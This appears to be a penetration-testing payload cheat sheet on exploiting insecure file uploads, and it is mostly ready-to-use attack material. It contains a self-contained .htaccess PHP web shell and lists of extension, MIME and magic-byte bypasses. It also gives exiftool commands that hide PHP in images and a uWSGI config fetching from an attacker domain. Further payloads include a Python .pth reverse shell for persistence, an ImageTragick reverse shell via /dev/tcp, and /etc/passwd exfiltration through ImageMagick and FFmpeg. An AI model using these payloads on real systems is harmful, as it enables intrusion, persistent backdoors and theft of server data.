Upload Insecure Files

Uploading an .htaccess file to override Apache rule and execute PHP. "Hackers can also use “.htaccess” file tricks to upload a malicious file with any extension and execute it. For a simple example, imagine uploading to the vulnerable server an .htaccess file that has AddType application/x-httpd-php .htaccess configuration and also contains PHP shellcode. Because of the malicious .htaccess file, the web server considers the .htaccess file as an executable php file and executes its malicious PHP shellcode. One thing to note: .htaccess configurations are applicable only for the same directory and sub-directories where the .htaccess file is uploaded."

Upload an .htaccess with : `AddType application/x-httpd-php .rce` Then upload any file with `.rce` extension.

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directives from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ######
<?php echo "\n";passthru($_GET['c']." 2>&1"); ?>

If the `exif_imagetype` function is used on the server side to determine the image type, create a `.htaccess/image` polyglot. [Supported image types](http://php.net/manual/en/function.exif-imagetype.php#refsect1-function.exif-imagetype-constants) include [X BitMap (XBM)](https://en.wikipedia.org/wiki/X_BitMap) and [WBMP](https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format). In `.htaccess` ignoring lines starting with `\x00` and `#`, you can use these scripts for generate a valid `.htaccess/image` polyglot. * Create valid `.htaccess/xbm` image ```python width = 50 height = 50 payload = '# .htaccess file' with open('.htaccess', 'w') as htaccess: htaccess.write('#define test_width %d\n' % (width, )) htaccess.write('#define test_height %d\n' % (height, )) htaccess.write(payload) ``` * Create valid `.htaccess/wbmp` image ```python type_header = b'\x00' fixed_header = b'\x00' width = b'50' height = b'50' payload = b'# .htaccess file' with open('.htaccess', 'wb') as htaccess: htaccess.write(type_header + fixed_header + width + height) htaccess.write(b'\n') htaccess.write(payload) ```

> Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.


Here is a list of the default extensions for web shell pages in the selected languages (PHP, ASP, JSP). * PHP Server ```powershell .php .php3 .php4 .php5 .php7 # Less known PHP extensions .pht .phps .phar .phpt .pgif .phtml .phtm .inc ``` * ASP Server ```powershell .asp .aspx .config .cer # (IIS <= 7.5) .asa # (IIS <= 7.5) shell.aspx;1.jpg # (IIS < 7.0) shell.soap ``` * JSP : `.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions` * Perl: `.pl, .pm, .cgi, .lib` * Coldfusion: `.cfm, .cfml, .cfc, .dbm` * Node.js: `.js, .json, .node` Other extensions that can be abused to trigger other vulnerabilities. * `.svg`: XXE, XSS, SSRF * `.gif`: XSS * `.csv`: CSV Injection * `.xml`: XXE * `.avi`: LFI, SSRF * `.js` : XSS, Open Redirect * `.zip`: RCE, DOS, LFI Gadget * `.html` : XSS, Open Redirect

**Extensions**: * Use double extensions : `.jpg.php, .png.php5` * Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg` * Random uppercase and lowercase : `.pHp, .pHP5, .PhAr` * Null byte (works well against `pathinfo()`) * `.php%00.gif` * `.php\x00.gif` * `.php%00.png` * `.php\x00.png` * `.php%00.jpg` * `.php\x00.jpg` * Special characters * Multiple dots : `file.php......` , on Windows when a file is created with dots at the end those will be removed. * Whitespace and new line characters * `file.php%20` * `file.php%0d%0a.jpg` * `file.php%0a` * Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`. * Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp` * Multiple special characters: `file.jsp/././././.` * UTF8 filename: `Content-Disposition: form-data; name="anyBodyParam"; filename*=UTF8''myfile%0a.txt` * On Windows OS, `include`, `require` and `require_once` functions will convert "foo.php" followed by one or more of the chars `\x20` ( ), `\x22` ("), `\x2E` (.), `\x3C` (<), `\x3E` (>) back to "foo.php". * On Windows OS, `fopen` function will convert "foo.php" followed by one or more of the chars `\x2E` (.), `\x2F` (/), `\x5C` (\) back to "foo.php". * On Windows OS, `move_uploaded_file` function will convert "foo.php" followed by one or more of the chars `\x2E` (.), `\x2F` (/), `\x5C` (\) back to "foo.php". * On Windows OS, when running PHP on IIS some characters are automatically converted to other characters when it is going to save a file (e.g. `web<<` becomes `web**` and can replace `web.config`). * `\x3E` (>) is converted to `\x3F` (?) * `\x3C` (<) is converted to `\x2A` (*) * `\x22` (") is converted to `\x2E` (.), to use this trick in a file upload request the "`Content-Disposition`" header should use single quotes (e.g. filename='web"config'). **File Identification**: MIME type, a MIME type (Multipurpose Internet Mail Extensions type) is a standardized identifier that tells browsers, servers, and applications what kind of file or data is being handled. It consists of a type and a subtype, separated by a slash. Change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` to disguise the content as an image. * Common images content-types: ```cs Content-Type: image/gif Content-Type: image/png Content-Type: image/jpeg ``` * Content-Type wordlist: [SecLists/web-all-content-types.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt) ```cs text/php text/x-php application/php application/x-php application/x-httpd-php application/x-httpd-php-source ``` * Set the `Content-Type` twice, once for unallowed type and once for allowed. [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) - Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application. * PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[` * JPG: `\xff\xd8\xff` * GIF: `GIF87a` OR `GIF8;` **File Encapsulation**: Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`") **Other Techniques**: PHP web shells don't always have the `<?php` tag, here are some alternatives: * Using a PHP script tag `<script language="php">` ```html <script language="php">system("id");</script> ``` * The `<?=` is shorthand syntax in PHP for outputting values. It is equivalent to using `<?php echo`. ```php <?=`id`?> ```

Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename. * Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension` * LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd` * XSS Payloads e.g. `'"><img src=x onerror=alert(document.domain)>.extension` * File Traversal e.g. `../../../tmp/lol.png` * Command Injection e.g. `; sleep 10;` Also you upload: * HTML/SVG files to trigger an XSS * EICAR file to check the presence of an antivirus

Create valid pictures hosting PHP code. Upload the picture and use a **Local File Inclusion** to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`. * Picture Metadata, hide the payload inside a comment tag in the metadata. * Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`. * [JPG](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l): use createBulletproofJPG.py * [PNG](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createPNGwithPLTE.php * [GIF](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createGIFwithGlobalColorTable.php

Create a custom picture and insert exif tag with `exiftool`. A list of multiple exif tags can be found at [exiv2.org](https://exiv2.org/tags.html)

convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg

If you are trying to upload files to a : * PHP server, take a look at the [.htaccess](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess) trick to execute code. * ASP server, take a look at the [web.config](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config) trick to execute code. * uWSGI server, take a look at the [uwsgi.ini](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20uwsgi.ini/uwsgi.ini) trick to execute code. Configuration files examples * [Apache: .htaccess](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess) * [IIS: web.config](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config) * [Python: \_\_init\_\_.py](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Python%20__init__.py) * [WSGI: uwsgi.ini](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20uwsgi.ini/uwsgi.ini)

The `AddType` directive in an `.htaccess` file is used to specify the MIME (Multipurpose Internet Mail Extensions) type for different file extensions on an Apache HTTP Server. This directive helps the server understand how to handle different types of files and what content type to associate with them when serving them to clients (such as web browsers). Here is the basic syntax of the AddType directive:

AddType mime-type extension [extension ...]

Exploit `AddType` directive by uploading an .htaccess file with the following content.

AddType application/x-httpd-php .rce

Then upload any file with `.rce` extension.

uWSGI configuration files can include “magic” variables, placeholders and operators defined with a precise syntax. The ‘@’ operator in particular is used in the form of @(filename) to include the contents of a file. Many uWSGI schemes are supported, including “exec” - useful to read from a process’s standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is parsed: Example of a malicious `uwsgi.ini` file:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[ATTACKER.DOMAIN.TLD])
; read from http
test = @(http://[ATTACKER.DOMAIN.TLD])
; read from a file descriptor
content = @(fd://[ATTACKER.DOMAIN.TLD])
; read from a process stdout
body = @(exec://whoami)
; call a function returning a char *
characters = @(call://uwsgi_func)

When the configuration file will be parsed (e.g. restart, crash or autoreload) payload will be executed.

Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file. * package.json ```js "scripts": { "prepare" : "/bin/touch /tmp/pwned.txt" } ``` * composer.json ```js "scripts": { "pre-command-run" : [ "/bin/touch /tmp/pwned.txt" ] } ```

When a `.pth` file is placed in a directory like `site-packages` or `dist-packages`, Python's `site` initialization logic processes it during interpreter startup. > An executable line in a .pth file is run at every Python startup, regardless of whether a particular module is actually going to be used. - [Site-specific configuration hook](https://docs.python.org/3/library/site.html) Dropping a malicious `.pth` file into a globally loaded package directory can give an attacker repeated code execution without modifying the target application's source code. Any Python program that starts in that environment may trigger the payload. Default locations for globally loaded package directories can be extracted using `python3 -m site`. Typical locations include:

/usr/lib/pythonX.Y/site-packages/
/usr/local/lib/pythonX.Y/dist-packages/

# home location
/root
/home/$USER

Example of malicious use, this will create a reverse shell that will connect back to the attacker's machine every time a Python process starts in that environment.:

echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' > /usr/local/lib/python3.6/site-packages/persistence.pth

If the backend is using ImageMagick to resize/convert user images, you can try to exploit well-known vulnerabilities such as ImageTragik.

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1) * ImageTragik - example #1 ```powershell push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` * ImageTragik - example #3 ```powershell %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops ``` The vulnerability can be triggered by using the `convert` command.

convert shellexec.jpeg whatever.gif

CVE-2022-44268 is an information disclosure vulnerability identified in ImageMagick. An attacker can exploit this by crafting a malicious image file that, when processed by ImageMagick, can disclose information from the local filesystem of the server running the vulnerable version of the software. * Generate the payload ```ps1 apt-get install pngcrush imagemagick exiftool exiv2 -y pngcrush -text a "profile" "/etc/passwd" exploit.png ``` * Trigger the exploit by uploading the file. The backend might use something like `convert pngout.png pngconverted.png` * Download the converted picture and inspect its content with: `identify -verbose pngconverted.png` * Convert the exfiltrated data: `python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'` More payloads in the folder `Picture ImageMagick/`.

FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files. 1. `./gen_xbin_avi.py file://<filename> file_read.avi` 2. Upload `file_read.avi` to some website that processes videofiles 3. On server side, done by the videoservice: `ffmpeg -i file_read.avi output.mp4` 4. Click "Play" in the videoservice. 5. If you are lucky, you'll the content of `<filename>` from the server. The script creates an AVI that contains an HLS playlist inside GAB2. The playlist generated by this script looks like this:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
GOD.txt
#EXTINF:1.0
/etc/passwd
#EXT-X-ENDLIST

More payloads in the folder `CVE FFmpeg HLS/`.